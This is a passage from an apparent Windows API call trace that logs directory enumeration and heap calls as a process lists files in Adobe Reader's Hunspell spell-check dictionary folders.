lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.284] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.txt", cAlternateFileName="")) returned 1 [0266.284] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.txt", cAlternateFileName="")) returned 0 [0266.284] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.285] GetProcessHeap () returned 0xc10000 [0266.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.285] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0266.285] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0266.285] GetProcessHeap () returned 0xc10000 [0266.285] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0266.285] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e00a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHunspellPlugin.dll", cAlternateFileName="ADOBEH~1.DLL")) returned 1 [0266.285] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="comdll.X.manifest", cAlternateFileName="COMDLL~1.MAN")) returned 1 [0266.285] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0266.285] GetProcessHeap () returned 0xc10000 [0266.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0266.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0266.286] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.286] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f855c1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_CA", cAlternateFileName="")) returned 1 [0266.286] GetProcessHeap () returned 0xc10000 [0266.286] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0266.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_CA\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f855c1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0266.289] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f855c1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.289] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x773, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_CA.aff", cAlternateFileName="")) returned 1 [0266.289] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb9dc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_CA.dic", cAlternateFileName="")) returned 1 [0266.289] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44571, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyph_en_CA.dic", cAlternateFileName="HYPH_E~1.DIC")) returned 1 [0266.289] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x0, cFileName="README_en_CA.txt", cAlternateFileName="README~1.TXT")) returned 1 [0266.289] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="README_th_en_CA_v2.txt", cAlternateFileName="README~2.TXT")) returned 1 [0266.289] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="README_th_en_CA_v2.txt", cAlternateFileName="README~2.TXT")) returned 0 [0266.290] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0266.290] GetProcessHeap () returned 0xc10000 [0266.291] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.291] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0266.291] GetProcessHeap () returned 0xc10000 [0266.291] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0266.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_GB\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.294] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.294] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f855c1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="affDescription.txt", cAlternateFileName="AFFDES~1.TXT")) returned 1 [0266.295] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xc01, dwReserved0=0x0, dwReserved1=0x0, cFileName="changelog.txt", cAlternateFileName="CHANGE~1.TXT")) returned 1 [0266.295] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1304f, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB.aff", cAlternateFileName="")) returned 1 [0266.295] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb9189, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB.dic", cAlternateFileName="")) returned 1 [0266.295] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fab82a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2a4f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyph_en_GB.dic", cAlternateFileName="HYPH_E~1.DIC")) returned 1 [0266.295] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.txt", cAlternateFileName="")) returned 1 [0266.295] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0266.296] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="README_en_GB.txt", cAlternateFileName="README~1.TXT")) returned 1 [0266.296] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x678, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordNet_license.txt", cAlternateFileName="WORDNE~1.TXT")) returned 1 [0266.296] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x678, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordNet_license.txt", cAlternateFileName="WORDNE~1.TXT")) returned 0 [0266.296] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.297] GetProcessHeap () returned 0xc10000 [0266.297] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.297] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0266.297] GetProcessHeap () returned 0xc10000 [0266.297] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0266.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\Dictionaries\\en_US\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0266.298] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.298] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US.aff", cAlternateFileName="")) returned 1 [0266.298] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb91eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US.dic", cAlternateFileName="")) returned 1 [0266.298] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32487, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyph_en_US.dic", cAlternateFileName="HYPH_E~1.DIC")) returned 1 [0266.298] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="README_en_US.txt", cAlternateFileName="README~1.TXT")) returned 1 [0266.298] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="README_en_US.txt", cAlternateFileName="README~1.TXT")) returned 0 [0266.298] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0266.299] GetProcessHeap () returned 0xc10000 [0266.299] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.299] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0266.299] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0266.299] GetProcessHeap () returned 0xc10000 [0266.299] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0266.299] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dummy.aff", cAlternateFileName="")) returned 1 [0266.299] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dummy.dic", cAlternateFileName="")) returned 1 [0266.299] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, 